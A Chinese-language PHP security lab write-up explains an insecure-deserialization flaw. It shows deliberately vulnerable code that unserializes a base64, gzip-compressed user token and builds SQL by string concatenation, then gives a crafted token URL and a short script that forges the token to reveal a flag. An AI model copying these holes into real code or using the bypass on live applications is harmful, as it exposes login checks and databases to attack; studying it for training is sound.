前置知识
gzcompress() — php的字符串压缩(压缩能力差不多10倍)
gzuncompress() — php的字符串解压缩
mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。
__wakeup()—执行unserialize()时,先会调用这个函数
unserialize()—反序列化
。
漏洞测试代码
<?php// include 'common.php';$flag = 'xxxxxxxxxxxxxxx';$req = array_merge($_GET, $_POST);$con = mysqli_connect("localhost:23306","root","root","test");if(!$con){die('Could not connect: ' . mysqli_error());}//把一个或多个数组合并为一个数组class db{public $where;function __wakeup(){if(!empty($this->where)){$this->select($this->where);}}function select($con,$where){$sql = mysqli_query($con,'select * from user where '.$where);//函数执行一条 MySQL 查询。return @mysqli_fetch_array($sql);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false}}if(isset($req['token']))//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。{$login = unserialize(gzuncompress(base64_decode($req['token'])));//gzuncompress:进行字符串压缩//unserialize: 将已序列化的字符串还原回 PHP 的值$db = new db();$row = $db->select($con,'user="'.mysqli_real_escape_string($con,$login['user']).'"');var_dump($row);//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。if($login['user'] === 'xiaowu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{print('sfdf');// header('Location: index.php?error=1');}?>
漏洞复现
- 发生以下任意请求,均可绕过限制拿到flag
http://127.0.0.1/php/03-jiami.php?token=eJxLtDK0qi62MrFSKi1OLVKyLrYys1KqyEzMLy9Vsq4FAI7oCZE=
漏洞分析
想要拿到flag需要满足两个条件,第一个条件isset($req[‘token’]),第二个条件$login[‘user’] === ‘xiaowu’。第一个条件加单,只要get或者post一个token参数就可以满足,第二个条件中的$login来自这里:
$login =unserialize(gzuncompress(base64_decode($req[‘token’])))。这个是先对token参数内容进行base64解码,再gzuncompress解压缩,最后再反序列化得到的。这样的话我们可以反过来进行操作得到token值。因为我们最终需要得到$login为array(“user” => “xiaowu”),这样才能满足条件拿到flag,所以我们可以对array(“user” => “xiaowu”)先进行serialize(),再gzcompress(),再base64(),反向推导出token值。代码如下: ``` <?php
$arr = array(“user” => “xiaowu”); $token = base64_encode(gzcompress(serialize($arr))); print_r($token);
?>
```

拿到的token值发送过去就可以拿到flag。
